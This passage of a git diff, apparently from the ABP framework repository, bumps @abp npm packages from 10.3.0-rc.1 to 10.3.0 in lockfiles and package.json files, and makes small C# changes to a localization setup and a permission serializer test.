+ integrity sha512-TndX/8bJx5vGAAwIykx2CJUZIFFDkwpD+cUjE45WO2dSrY2M5vNfWiuw95OcLGngO8RaT/gTkFGzPuZqKn9ggg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
jquery "~3.7.1"
-"@abp/lodash@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/lodash/-/lodash-10.3.0-rc.1.tgz#7bdf8038f28a822dfc12f0bfa9b7d81f13e16d99"
- integrity sha512-tlev/kkQ3Q+OC7BT1ZJ+TThIbVQ3CZ+mtEujLt6zHVIxx8tukbYmmDMpltrmOL2kGnQeDdMqFcQoNJAAYOju+A==
+"@abp/lodash@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/lodash/-/lodash-10.3.0.tgz#bd091fc811d85d2f535802631af6165ac1c8a198"
+ integrity sha512-7JDU9UlbD+9odhFQjolvyJZ6EQKG5kiL2Pt9T1RMVchNh47iEuZwfi8c+CIxa3YxA3n6lAsZ+8Pmxq4yOku+RQ==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
lodash "^4.17.21"
-"@abp/luxon@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/luxon/-/luxon-10.3.0-rc.1.tgz#e13db7cade7761964e9820315e43bac182f80784"
- integrity sha512-FB42gIKvfDJBu2vFZDBFVL6bn9jZpDpKdt5Kkp4OKQak9NHVyNuzH+R95Hr99vB+KELyTwW7hihc6Kl2oCrwWQ==
+"@abp/luxon@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/luxon/-/luxon-10.3.0.tgz#acbd92289456a546607ed4506dc36f71e6da53c9"
+ integrity sha512-IIi2+odQzuFK4qV1KJ2HtlTewSPby2F9CJFNNtNRMzX/P30dQkAGWpNV5/FZzJwFIihR+zSei5wlu11WpPugsw==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
luxon "^3.7.2"
-"@abp/malihu-custom-scrollbar-plugin@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-10.3.0-rc.1.tgz#1af6ebce0553c368d884752efcaef6cceaeb806c"
- integrity sha512-+BYN/3DhhtI7tS4nv4BpdsPiQLEVrLQ0KgawGRr1h3SV/nz1dtBTBgTbKvy/4bDHoMSKA1dPfudxi6XjgwUoBA==
+"@abp/malihu-custom-scrollbar-plugin@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-10.3.0.tgz#209931d02a994ef448371d6203e9ec74c72b61e6"
+ integrity sha512-hJjwEExP3hKE1MNDG+pcvoHRFUihh3t/0wCPNaoePFd8+QnJuyQ9U0VA+vdtykTxm8uFNE2uaCgyHffoHmzeZA==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
malihu-custom-scrollbar-plugin "^3.1.5"
-"@abp/moment@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/moment/-/moment-10.3.0-rc.1.tgz#82229c44e7b1417c872edec53ed3f51d06bf7e8b"
- integrity sha512-hKQ8VE25Wqo1mj/ks8qw39ONLQK5sV33xc0bfYHTk0+NVAholAPZF7gjqiDzaAWXzVBVJjemH554AM3y14VNAA==
+"@abp/moment@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/moment/-/moment-10.3.0.tgz#5a5c4ece14d1bc4dd33134f85d1d085733d3c975"
+ integrity sha512-8DKw2jgC/28nLrB/CR9BiyUSt0pUmWF+bEgAsduln6VrSCHn0aRLqgs+wi/9Ol+1bl7pO2wbJOYg1qbnkDhrAQ==
dependencies:
moment "^2.30.1"
-"@abp/popper.js@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/popper.js/-/popper.js-10.3.0-rc.1.tgz#3d758e25e7b09210542e4da06558cd5a1b710b45"
- integrity sha512-3PKJpwzTYAQ6UJFe3u9bn1qKRjXwmILlR9umyH998bfJLr0Zl04rBfcbIL9/l3S01qlCMt2bwjre0+wpRl+/OA==
+"@abp/popper.js@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/popper.js/-/popper.js-10.3.0.tgz#cb2415e45a905854980f4e864c00c8fe1156a6f9"
+ integrity sha512-Yfafs50t7DKnShxAl9WPpihZxG5cLAt99rJmIyXBYUQIpkHkxDyUIA5b4gCoVCqKgjFDOxG7i6L+Ovd/2N8k7g==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@popperjs/core" "^2.11.8"
-"@abp/prismjs@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/prismjs/-/prismjs-10.3.0-rc.1.tgz#147852ca4e0f9ceebe5681b65ad440b48325021f"
- integrity sha512-sAWkFAP8GPx4UBR2EXg9Uz0sivK9CTWccUGGecttK9mNf12YbtVftmS145Fgip2+ifklPTcVRjXWIghyJPYu5Q==
+"@abp/prismjs@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/prismjs/-/prismjs-10.3.0.tgz#4ea33ece50cefcfc8a89c17b0d265b484b7205ee"
+ integrity sha512-WvkLyg+izkcX6sEOYy41B9lebiniYxMQZ++c+ysyOQKZzrYEEFOOLlnFS9jPqSKLv9cNRizhG1CCfiwoYCxufQ==
dependencies:
- "@abp/clipboard" "~10.3.0-rc.1"
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/clipboard" "~10.3.0"
+ "@abp/core" "~10.3.0"
prismjs "^1.30.0"
-"@abp/select2@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/select2/-/select2-10.3.0-rc.1.tgz#5292066ccf962ad92058d946b267d413c4876c40"
- integrity sha512-gAJaAuLoHaOhkdDwS2F3ZH3CR//8EClkEWDde2AcYS+W2AY9/4g9kAMUOD5IrkrrYvJ+DDa9u426Ds8n8s/B9g==
+"@abp/select2@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/select2/-/select2-10.3.0.tgz#199777173ca3e43a5448f8b51b30c3aafe4a3333"
+ integrity sha512-6sEIYIakVI1DM3eOqOaxwdG8vkyVFBWvVZhoChPZkgIIQ0EH2JLerHv0pePJEl6mQSxOUrikPA8++B2y+sBnQA==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
select2 "^4.0.13"
-"@abp/sweetalert2@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/sweetalert2/-/sweetalert2-10.3.0-rc.1.tgz#a344674f14b21f430a820805bc36768a6dde1f58"
- integrity sha512-UV3nSA3LdgygFr1ruFZRU1PVan455NMFILisXKRYVu9QwweFInmnliR6FmcDlTmPFW7RCLBk+lC9UblEcDthUA==
+"@abp/sweetalert2@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/sweetalert2/-/sweetalert2-10.3.0.tgz#515e0477574b54bc6650b9f5ee193bfc648c715a"
+ integrity sha512-bY5MXEiKja+vk71ujSn8rpzRC45Ge8zvcca1k1vBJs+oKyRCii//JBxa3H0lagZo5r/QwIqv5ihdyLE1xsuLSg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
sweetalert2 "^11.23.0"
-"@abp/timeago@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/timeago/-/timeago-10.3.0-rc.1.tgz#f0e476b65f19fd986c06231a331fdb4050d1a6c6"
- integrity sha512-ydBvTJ73BrV7A69vtWRzw//JmrLu6r4ow8J3GZy8vEuH9vlBWe1JHcPK6lOD3DDM+K6Jag5/31RL45ZuSSxcvQ==
+"@abp/timeago@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/timeago/-/timeago-10.3.0.tgz#3214a6d000c79504c9fa7cb4e004a967fe46459b"
+ integrity sha512-Rgcex+jvM9Z9/E0I5Q3wlC2bY5550/+6xRX407k5ho4gxCccYo3c0Gkpiy5pJRFhTwtBgcNzYxArh6NCez+tDg==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
timeago "^1.6.7"
-"@abp/utils@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/utils/-/utils-10.3.0-rc.1.tgz#b6e20d357b87a009ffef3e11a0e7cc3a887d461f"
- integrity sha512-tBcywC3T2ZUKS6znm1lCd+jP0peZolYyxjs1F7wyyH/y+Y08NYtGgLG/A8EaIv7iDY2K4WExzvWjTHB4lE1mFA==
+"@abp/utils@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/utils/-/utils-10.3.0.tgz#d88c0d639d69d6210c3070892aac61d5e945c124"
+ integrity sha512-iNehxiqWJQl2wwE9EbsQANPv/ITMh0yUcPATUlG/McoLWdpPcqobx75NxXcHDqW8ZarecqSktjJDZPvaUaD+jA==
dependencies:
just-compare "^2.3.0"
diff --git a/modules/feature-management/src/Volo.Abp.FeatureManagement.Web/AbpFeatureManagementWebModule.cs b/modules/feature-management/src/Volo.Abp.FeatureManagement.Web/AbpFeatureManagementWebModule.cs
index 1c8c2a2572..bd4d26bb8c 100644
--- a/modules/feature-management/src/Volo.Abp.FeatureManagement.Web/AbpFeatureManagementWebModule.cs
+++ b/modules/feature-management/src/Volo.Abp.FeatureManagement.Web/AbpFeatureManagementWebModule.cs
@@ -1,10 +1,12 @@
-using Microsoft.AspNetCore.Mvc.RazorPages;
+using Localization.Resources.AbpUi;
+using Microsoft.AspNetCore.Mvc.RazorPages;
using Microsoft.Extensions.DependencyInjection;
using Volo.Abp.AspNetCore.Mvc.Localization;
using Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared;
using Volo.Abp.FeatureManagement.Localization;
using Volo.Abp.FeatureManagement.Settings;
using Volo.Abp.Http.ProxyScripting.Generators.JQuery;
+using Volo.Abp.Localization;
using Volo.Abp.Modularity;
using Volo.Abp.SettingManagement.Web;
using Volo.Abp.SettingManagement.Web.Pages.SettingManagement;
@@ -38,6 +40,13 @@ public class AbpFeatureManagementWebModule : AbpModule
public override void ConfigureServices(ServiceConfigurationContext context)
{
+ Configure(options =>
+ {
+ options.Resources
+ .Get()
+ .AddBaseTypes(typeof(AbpUiResource));
+ });
+
Configure(options =>
{
options.FileSets.AddEmbedded();
diff --git a/modules/openiddict/app/OpenIddict.Demo.Server/package.json b/modules/openiddict/app/OpenIddict.Demo.Server/package.json
index a442008f3f..abb49011d8 100644
--- a/modules/openiddict/app/OpenIddict.Demo.Server/package.json
+++ b/modules/openiddict/app/OpenIddict.Demo.Server/package.json
@@ -1,8 +1,8 @@
{
- "version": "1.0.0",
- "name": "my-app",
- "private": true,
- "dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0-rc.1"
- }
+ "version": "1.0.0",
+ "name": "my-app",
+ "private": true,
+ "dependencies": {
+ "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0"
+ }
}
diff --git a/modules/openiddict/app/angular/package.json b/modules/openiddict/app/angular/package.json
index 814ee8a1ed..8e57ee5313 100644
--- a/modules/openiddict/app/angular/package.json
+++ b/modules/openiddict/app/angular/package.json
@@ -12,15 +12,15 @@
},
"private": true,
"dependencies": {
- "@abp/ng.account": "~10.3.0-rc.1",
- "@abp/ng.components": "~10.3.0-rc.1",
- "@abp/ng.core": "~10.3.0-rc.1",
- "@abp/ng.oauth": "~10.3.0-rc.1",
- "@abp/ng.identity": "~10.3.0-rc.1",
- "@abp/ng.setting-management": "~10.3.0-rc.1",
- "@abp/ng.tenant-management": "~10.3.0-rc.1",
- "@abp/ng.theme.shared": "~10.3.0-rc.1",
- "@abp/ng.theme.lepton-x": "~5.3.0-rc.1",
+ "@abp/ng.account": "~10.3.0",
+ "@abp/ng.components": "~10.3.0",
+ "@abp/ng.core": "~10.3.0",
+ "@abp/ng.oauth": "~10.3.0",
+ "@abp/ng.identity": "~10.3.0",
+ "@abp/ng.setting-management": "~10.3.0",
+ "@abp/ng.tenant-management": "~10.3.0",
+ "@abp/ng.theme.shared": "~10.3.0",
+ "@abp/ng.theme.lepton-x": "~5.3.0",
"@angular/animations": "^15.0.1",
"@angular/common": "^15.0.1",
"@angular/compiler": "^15.0.1",
@@ -36,7 +36,7 @@
"zone.js": "~0.11.4"
},
"devDependencies": {
- "@abp/ng.schematics": "~10.3.0-rc.1",
+ "@abp/ng.schematics": "~10.3.0",
"@angular-devkit/build-angular": "^15.0.1",
"@angular-eslint/builder": "~15.1.0",
"@angular-eslint/eslint-plugin": "~15.1.0",
diff --git a/modules/permission-management/test/Volo.Abp.PermissionManagement.Domain.Tests/Volo/Abp/PermissionManagement/PermissionDefinitionSerializer_Tests.cs b/modules/permission-management/test/Volo.Abp.PermissionManagement.Domain.Tests/Volo/Abp/PermissionManagement/PermissionDefinitionSerializer_Tests.cs
index 4dca621a63..a8bdc4b4ea 100644
--- a/modules/permission-management/test/Volo.Abp.PermissionManagement.Domain.Tests/Volo/Abp/PermissionManagement/PermissionDefinitionSerializer_Tests.cs
+++ b/modules/permission-management/test/Volo.Abp.PermissionManagement.Domain.Tests/Volo/Abp/PermissionManagement/PermissionDefinitionSerializer_Tests.cs
@@ -57,7 +57,7 @@ public class PermissionDefinitionSerializer_Tests : PermissionTestBase
.WithProperty("CustomProperty2", "CustomValue2")
.RequireAuthenticated() //For for testing, not so meaningful
.RequireGlobalFeatures("GlobalFeature1", "GlobalFeature2")
- .RequireFeatures("Feature1", "Feature2")
+ .RequireFeatures(requiresAll: true, batchCheck: false, "Feature1", "Feature2")
.RequirePermissions(requiresAll: false, batchCheck: false,"Permission2", "Permission3");
// Act
@@ -96,7 +96,7 @@ public class PermissionDefinitionSerializer_Tests : PermissionTestBase
.WithProperty("CustomProperty2", "CustomValue2")
.RequireAuthenticated() //For for testing, not so meaningful
.RequireGlobalFeatures("GlobalFeature1", "GlobalFeature2")
- .RequireFeatures("Feature1", "Feature2")
+ .RequireFeatures(requiresAll: true, batchCheck: false, "Feature1", "Feature2")
.RequirePermissions(requiresAll: false, batchCheck: false,"Permission2", "Permission3");
// Act
diff --git a/modules/setting-management/app/Volo.Abp.SettingManagement.DemoApp/package.json b/modules/setting-management/app/Volo.Abp.SettingManagement.DemoApp/package.json
index 0f7bbd2759..4de9410e3b 100644
--- a/modules/setting-management/app/Volo.Abp.SettingManagement.DemoApp/package.json
+++ b/modules/setting-management/app/Volo.Abp.SettingManagement.DemoApp/package.json
@@ -1,8 +1,8 @@
{
- "version": "0.1.0",
- "name": "demo-app",
- "private": true,
- "dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0-rc.1"
- }
+ "version": "0.1.0",
+ "name": "demo-app",
+ "private": true,
+ "dependencies": {
+ "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0"
+ }
}
diff --git a/modules/setting-management/app/Volo.Abp.SettingManagement.DemoApp/yarn.lock b/modules/setting-management/app/Volo.Abp.SettingManagement.DemoApp/yarn.lock
index 6d0049cf6a..2e8f03c042 100644
--- a/modules/setting-management/app/Volo.Abp.SettingManagement.DemoApp/yarn.lock
+++ b/modules/setting-management/app/Volo.Abp.SettingManagement.DemoApp/yarn.lock
@@ -2,186 +2,186 @@
# yarn lockfile v1
-"@abp/aspnetcore.mvc.ui.theme.basic@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.basic/-/aspnetcore.mvc.ui.theme.basic-10.3.0-rc.1.tgz#82f61b5d112c8cbc5c74077809d84525edc1200a"
- integrity sha512-eo4ubQfc6zT2/uTKM7U7XS6vExSKsg2szfvybFuBWJjmgb1ybfU2dKDXK4OfLdt0/wUBqBlEKDNK6NWZTfiovQ==
+"@abp/aspnetcore.mvc.ui.theme.basic@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.basic/-/aspnetcore.mvc.ui.theme.basic-10.3.0.tgz#bf48e8fa571067d15bc19bdd3f13509acf58f9c7"
+ integrity sha512-t9pHqrXaCDYcsdrz0VPKT28ujnnU+EVxyVDogQSRRpKsDoLhNcOD8NI3swdAWBQZ46YSCDfeDR+gfwjC3yqpXQ==
dependencies:
- "@abp/aspnetcore.mvc.ui.theme.shared" "~10.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.shared" "~10.3.0"
-"@abp/aspnetcore.mvc.ui.theme.shared@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.shared/-/aspnetcore.mvc.ui.theme.shared-10.3.0-rc.1.tgz#465bb75a8b974be7a7945099fd9055ee68e3c9fe"
- integrity sha512-89ca3oXYFEkaKbC1+mNsn6U4x0bls5iffcp1ZqaY5LTfHUhO5tJXbNf5kiOiEwT9TCYwPUHyLbUd2+rT72MGFA==
+"@abp/aspnetcore.mvc.ui.theme.shared@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.shared/-/aspnetcore.mvc.ui.theme.shared-10.3.0.tgz#bcf72b5dd1dea285c3fa7cb1b6ce27c29b985ff7"
+ integrity sha512-X5xmMSxnIzNJPexvKR9y6jyn0v5n2wscN1SECG/bMI1YdKugMlkfkSuyUmLn+RX9/YdcK0jOsdMhfuzs5mgAOA==
dependencies:
- "@abp/aspnetcore.mvc.ui" "~10.3.0-rc.1"
- "@abp/bootstrap" "~10.3.0-rc.1"
- "@abp/bootstrap-datepicker" "~10.3.0-rc.1"
- "@abp/bootstrap-daterangepicker" "~10.3.0-rc.1"
- "@abp/datatables.net-bs5" "~10.3.0-rc.1"
- "@abp/font-awesome" "~10.3.0-rc.1"
- "@abp/jquery-validation-unobtrusive" "~10.3.0-rc.1"
- "@abp/lodash" "~10.3.0-rc.1"
- "@abp/luxon" "~10.3.0-rc.1"
- "@abp/malihu-custom-scrollbar-plugin" "~10.3.0-rc.1"
- "@abp/moment" "~10.3.0-rc.1"
- "@abp/select2" "~10.3.0-rc.1"
- "@abp/sweetalert2" "~10.3.0-rc.1"
- "@abp/timeago" "~10.3.0-rc.1"
-
-"@abp/aspnetcore.mvc.ui@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui/-/aspnetcore.mvc.ui-10.3.0-rc.1.tgz#c5764ec2fcab13ee591863c54e59e33fe1da90b4"
- integrity sha512-vmBsradTXcTEqHUXM5rTLYnsNNYJDeyyvz3kaLLqNwYhjo2FxL8D8IUZnp3Mk0qkBpYaYeGag5uxd06VDczDhg==
+ "@abp/aspnetcore.mvc.ui" "~10.3.0"
+ "@abp/bootstrap" "~10.3.0"
+ "@abp/bootstrap-datepicker" "~10.3.0"
+ "@abp/bootstrap-daterangepicker" "~10.3.0"
+ "@abp/datatables.net-bs5" "~10.3.0"
+ "@abp/font-awesome" "~10.3.0"
+ "@abp/jquery-validation-unobtrusive" "~10.3.0"
+ "@abp/lodash" "~10.3.0"
+ "@abp/luxon" "~10.3.0"
+ "@abp/malihu-custom-scrollbar-plugin" "~10.3.0"
+ "@abp/moment" "~10.3.0"
+ "@abp/select2" "~10.3.0"
+ "@abp/sweetalert2" "~10.3.0"
+ "@abp/timeago" "~10.3.0"
+
+"@abp/aspnetcore.mvc.ui@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui/-/aspnetcore.mvc.ui-10.3.0.tgz#0d125efd172b6772c516eae82cfe35f144da73fc"
+ integrity sha512-kp0XdwrlNz+NeLdxSJ6xdUaB5PM7xdbiLsIyTUcwa7AUKBtcVU6yq6qttbk9VyO0KqDgLywSuEL+9PkFhthuPg==
dependencies:
ansi-colors "^4.1.3"
-"@abp/bootstrap-datepicker@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap-datepicker/-/bootstrap-datepicker-10.3.0-rc.1.tgz#58586e2333116ef840c3abd44bb2b54f944c92b1"
- integrity sha512-PEXWi22YfOBdbxCUfLkEAVL45DCxzDbNALFLfsCK3LPvXuL5Pw0YU0CrezAW54+1tzPpbWh1HLyEyaUAINz6Wg==
+"@abp/bootstrap-datepicker@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap-datepicker/-/bootstrap-datepicker-10.3.0.tgz#032aaf0e474f971b9f90ca7fb83ff7ca4d7be933"
+ integrity sha512-7mRuRRIE4R0yw1cZuoIskgrqZPUa5/SJzse0K6u+/QDqvyLjjOsyE51WuqAXxlVfKpLp/fBvXZwnCDeCRU9iZQ==
dependencies:
bootstrap-datepicker "^1.10.1"
-"@abp/bootstrap-daterangepicker@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap-daterangepicker/-/bootstrap-daterangepicker-10.3.0-rc.1.tgz#088b96754014b3c7a8884689574c2332cd5c292e"
- integrity sha512-uZRh/Eh/3nyFe4KfMLRMud5LmUs2JFKSeA4KeRliGe1PD68E6NizP/ZiNzkYFP2K2p0nNUQrqmSe7ZFHVELN4A==
+"@abp/bootstrap-daterangepicker@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap-daterangepicker/-/bootstrap-daterangepicker-10.3.0.tgz#b2a9171595ee311c32f57460013870cde67c6b7f"
+ integrity sha512-ejLu3sWhfNDlsXeUXAQudZvPv0xM4McxIK65vuVEZiKIwFSnrLYil8jBi12EJJmAw5yYA/KC0EdyG82E+AWpmA==
dependencies:
- "@abp/moment" "~10.3.0-rc.1"
+ "@abp/moment" "~10.3.0"
bootstrap-daterangepicker "^3.1.0"
-"@abp/bootstrap@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap/-/bootstrap-10.3.0-rc.1.tgz#fc1ccf88e689af336fec9c76d367bcaf66253961"
- integrity sha512-vdhaz3ccmIflmufhNiQE/8I2RZdSSv3V4sbA2NC24csx8xl4J/R2JFhTyTLixpxOR+/p1cWw1F2oMYVzjV0+eg==
+"@abp/bootstrap@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap/-/bootstrap-10.3.0.tgz#23535c90613271b02fdad3eae1556b67844729e6"
+ integrity sha512-JnVOeJUyR78oo+QURvaNqa9xGZaVux0PRIpFpd4Qsqiiz9FvJrbCuSoBkkZoj/0eH23WoZ3bJxy0K9LDE19qvg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
- "@abp/popper.js" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
+ "@abp/popper.js" "~10.3.0"
bootstrap "^5.3.8"
-"@abp/core@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/core/-/core-10.3.0-rc.1.tgz#68f85db8219e3a2618a60cf82933bc52a2d1ec49"
- integrity sha512-tOl/yDSPqRaHbENFVYcjqkdKGM4Qhjd/QPushVaH57pxalmv6canhiWAa0x7W31qxdY9od48H7MYoJx61jURhw==
+"@abp/core@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/core/-/core-10.3.0.tgz#9960f8179d1fdc42250d0bbba60e379590c8199c"
+ integrity sha512-DpL4qrsyCUolypUwxKVDDK8bPVhNbYKx6l2ytUjoOu73CwgPoCSGkvHWrmKIsEsmTfOC9J7+GDErh8jWR/5pVA==
dependencies:
- "@abp/utils" "~10.3.0-rc.1"
+ "@abp/utils" "~10.3.0"
-"@abp/datatables.net-bs5@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/datatables.net-bs5/-/datatables.net-bs5-10.3.0-rc.1.tgz#55e8dde9024c51ccb70fe5b640bbb434fff2e00d"
- integrity sha512-d6vFlrNgS6MIpXi2EcZjGFbFbCl5I5hzM49NxQeB3hyG7gUElFsEJkf66UcO8PN/56Uo+sFe/rCdrcvyLLDHmg==
+"@abp/datatables.net-bs5@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/datatables.net-bs5/-/datatables.net-bs5-10.3.0.tgz#d8711c52f7c03df51d14d1a5f0e6b00f6d9551fc"
+ integrity sha512-I8rEU98kEhsNZjVdpPvOcG6F4xr1CgIRb0bTf5bfd8ufzxEUKB+xF9bguJIB5kYwjme8QbMlcJ0V/c+N4iewtQ==
dependencies:
- "@abp/datatables.net" "~10.3.0-rc.1"
+ "@abp/datatables.net" "~10.3.0"
datatables.net-bs5 "^2.3.4"
-"@abp/datatables.net@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/datatables.net/-/datatables.net-10.3.0-rc.1.tgz#8e275f31d8b24b098c6acc3ec1de7ef2fe587e73"
- integrity sha512-m57imr9KOkasgDCIFaIgoDqFDhS71wzClE2WCk+Uk7qHLRgRMa7CYRHh5xeck4hgPWq9DEmAZS0ogbHxLgkLKQ==
+"@abp/datatables.net@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/datatables.net/-/datatables.net-10.3.0.tgz#f98319d8e226da5aced4d1d94d3ababb11327074"
+ integrity sha512-imM25WmO1V0hqeG5iPeLvYMID2HX7SG9drz47qilr74MhpY2i2J7HlsvZDonNkjpxzhK4DHpGeQd6mE2QzG7Hw==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
datatables.net "^2.3.4"
-"@abp/font-awesome@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/font-awesome/-/font-awesome-10.3.0-rc.1.tgz#e9d4a1b36652773509259440b77b804af18c5364"
- integrity sha512-8zvZh7lbPlvH0/SKYtUeQF+ezKSoohwFxzFhOJ88GOdtwp620mBCwYEHjZA64e/Xjk6Oda2VrdNJ318IvgjIvA==
+"@abp/font-awesome@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/font-awesome/-/font-awesome-10.3.0.tgz#43602605f5633132cc6fe21b6ce5ab19b86bdf27"
+ integrity sha512-RUOVHxDyT81hp01DhUuSshKvLM+NiTt9VP+O4/rSj+SOaSJAm3wX7eziCKrDi6H41FwhoZL75CifLhcZVyVO4A==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@fortawesome/fontawesome-free" "^7.0.1"
-"@abp/jquery-validation-unobtrusive@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery-validation-unobtrusive/-/jquery-validation-unobtrusive-10.3.0-rc.1.tgz#b547557e85838afcc783ef3d502c2da3a31f4a63"
- integrity sha512-NU00gPTHDF2HTnsHaZKAp17DTgAHUCz1fwuXRq4f7Ke5Q9HwiJx2IpIFaeR49xe9XRg1d9iRbNKFkMycjX7rEg==
+"@abp/jquery-validation-unobtrusive@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery-validation-unobtrusive/-/jquery-validation-unobtrusive-10.3.0.tgz#5bc14ed642d48f9eae54761ad39bd9f51beeb005"
+ integrity sha512-j/9fA7tAs1/t3P2U1kKUiDlHAImmseul6KzvV77sNpnms7g4+x6Fgsa+sMzicSRGOLz7lK5RHdBFyvfKxt7/nA==
dependencies:
- "@abp/jquery-validation" "~10.3.0-rc.1"
+ "@abp/jquery-validation" "~10.3.0"
jquery-validation-unobtrusive "^4.0.0"
-"@abp/jquery-validation@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery-validation/-/jquery-validation-10.3.0-rc.1.tgz#c4ab1a0692c1d224c5f60ffc4cb25545a7024c31"
- integrity sha512-JaUhEbhKFB1DPFe+xTeIqTvN3YgFm7gdlpqMxN9Q5k0mnecQHlNmXbmC0oDa+CyxZDvMjWOrSMrJw/8yL4moQQ==
+"@abp/jquery-validation@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery-validation/-/jquery-validation-10.3.0.tgz#e669a54d28f6c0b863a284322e527a5c65cb7dbf"
+ integrity sha512-Wo95ZJLS1ScKm7dm3zFlEFUKqXrqo3m9+82DX5mFJUVCHHuBPrhxvDjxNJ18z4gpoOUu08uqxX7LFbphtkRM3g==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
jquery-validation "^1.21.0"
-"@abp/jquery@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery/-/jquery-10.3.0-rc.1.tgz#bc8d3a468483165f8d35cbfa5e91621c2fa53c8f"
- integrity sha512-tCZsi5U3oWZOazxRuqrEPyE85jZ4D71IfSrT9/Brf1wAELyrttt5ke3P57yQqjBevbfSqW652Wxca/w2GidQcg==
+"@abp/jquery@~10.3.0":
+ version "10.3.0"
